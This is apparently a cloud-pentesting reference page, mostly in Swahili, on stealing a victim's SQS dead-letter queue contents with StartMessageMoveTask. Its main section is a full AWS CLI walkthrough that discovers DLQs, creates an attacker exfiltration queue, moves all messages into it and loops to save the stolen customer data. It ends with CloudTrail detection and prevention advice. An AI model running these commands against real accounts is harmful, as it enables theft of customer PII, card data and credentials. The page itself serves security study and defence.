AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

Description

Dhulumu kazi za kuhamisha ujumbe za SQS ili kuiba ujumbe wote yaliyokusanywa kutoka kwa Dead-Letter Queue (DLQ) ya mwathirika kwa kuyaelekeza kwenye queue inayodhibitiwa na mshambuliaji kwa kutumia sqs:StartMessageMoveTask. Teknik hii inatumia kipengele halali cha AWS cha urejeshaji ujumbe ili exfiltrate data nyeti iliyokusanywa katika DLQs kwa muda.

What is a Dead-Letter Queue (DLQ)?

Dead-Letter Queue ni queue maalum ya SQS ambapo ujumbe hupelekwa moja kwa moja wanaposhindwa kushughulikiwa kwa mafanikio na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina:

• Data nyeti za programu ambazo hazikuweza kushughulikiwa
• Maelezo ya hitilafu na habari za debugging
• Personal Identifiable Information (PII)
• API tokens, credentials, au secrets nyingine
• Data muhimu za muamala wa biashara

DLQs hufanya kazi kama "kaburi" la ujumbe zilizoshindwa, hivyo kuwa malengo yenye thamani kwa sababu hukusanya data nyeti kwa muda ambao programu hazikuweza kushughulikia ipasavyo.

Attack Scenario

Real-world example:

1. E-commerce application inashughulikia maagizo ya wateja kupitia SQS
2. Maagizo fulani yanashindwa (masuala ya malipo, matatizo ya hesabu, n.k.) na yanahamishwa kwenda DLQ
3. DLQ inakusanya wiki/miezi ya maagizo yaliyoshindwa yenye data za wateja: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. Mshambuliaji anapata ufikiaji wa kredenshiali za AWS zenye ruhusa za SQS
5. Mshambuliaji anagundua DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti
6. Badala ya kujaribu kufikia ujumbe kwa mmoja mmoja (polepole na kuonekana), mshambuliaji anatumia StartMessageMoveTask kuhamisha kwa wingi ALL ujumbe kwenda queue yake mwenyewe
7. Mshambuliaji anatoa data nyeti zote za kihistoria kwa operesheni moja

Requirements

• Queue ya chanzo lazima iwe iliyosanidiwa kama DLQ (inajulikana na angalau queue moja kupitia RedrivePolicy).
• Ruhusa za IAM (endeshwa kama principal ya mwathirika aliyefichuliwa):
• Kwenye DLQ (chanzo): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• Kwenye queue ya marudio: ruhusa za kupeleka ujumbe (mfano, queue policy inayoruhusu sqs:SendMessage kutoka kwa principal ya mwathirika). Kwa destinations za ndani ya akaunti hiyo mara nyingi hii inaruhusiwa kwa default.
• Ikiwa SSE-KMS imewezeshwa: kwenye source CMK kms:Decrypt, na kwenye destination CMK kms:GenerateDataKey, kms:Encrypt.

Impact

Potential Impact: Exfiltrate payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, application payloads) kwa kasi kubwa kutumia native SQS APIs. Inafanya kazi cross-account ikiwa queue policy ya destination inaruhusu SendMessage kutoka kwa principal ya mwathirika.

How to Abuse

• Tambua ARN ya DLQ ya mwathirika na uhakikishe kwamba kwa kweli inarejelewa kama DLQ na queue fulani (queue yoyote inatosha).
• Tengeneza au chagua queue inayodhibitiwa na mshambuliaji na upate ARN yake.
• Anzisha task ya kuhamisha ujumbe kutoka DLQ ya mwathirika kwenda queue yako ya destination.
• Fuatilia maendeleo au ghairi ikiwa inahitajika.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: Mshambuliaji ameiba kredenshiali za AWS na kugundua kwamba application ya e-commerce inatumia SQS na DLQ yenye jaribio za kushindwa za usindikaji wa maagizo ya wateja.

1. Discover and examine the victim DLQ

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Unda attacker-controlled destination queue

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Tekeleza wizi wa ujumbe kwa wingi

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Kukusanya taarifa nyeti zilizoporwa

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Vidokezo vya cross-account

• Queue ya destination inapaswa kuwa na resource policy inayoruhusu victim principal kutumia sqs:SendMessage (na, ikiwa inatumiwa, KMS grants/permissions).

Kwa Nini Shambulio Hili Lina Ufanisi

1. Legitimate AWS Feature: Inatumia utendakazi uliopo ndani ya AWS, hivyo kuifanya iwe ngumu kugundua kama ni hatari
2. Bulk Operation: Huhamisha maelfu ya ujumbe kwa haraka badala ya ufikiaji wa polepole wa ujumbe mmoja mmoja
3. Historical Data: DLQs hukusanya data nyeti kwa wiki/miezi
4. Under the Radar: Mashirika mengi hayafuatilii ufikiaji wa DLQ kwa ukaribu
5. Cross-Account Capable: Inaweza exfiltrate hadi akaunti ya AWS ya attacker ikiwa ruhusa zinawezesha

Ugunduzi na Kuzuia

Ugunduzi

Fuatilia CloudTrail kwa simu za API za StartMessageMoveTask zenye mashaka:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Uzuiaji

1. Ruhusa Ndogo: Punguza ruhusa za sqs:StartMessageMoveTask kwa roles zinazohitajika pekee
2. Fuatilia DLQs: Sanidi alarms za CloudWatch kwa shughuli zisizo za kawaida za DLQ
3. Sera za Upatikanaji Kati ya Akaunti: Kagua kwa makini SQS queue policies zinazoruhusu upatikanaji kati ya akaunti
4. Simbua DLQs: Tumia SSE-KMS na sera za funguo zenye mipaka
5. Usafishaji wa Mara kwa Mara: Usiruhusu data nyeti ikusanyike kwenye DLQs bila kikomo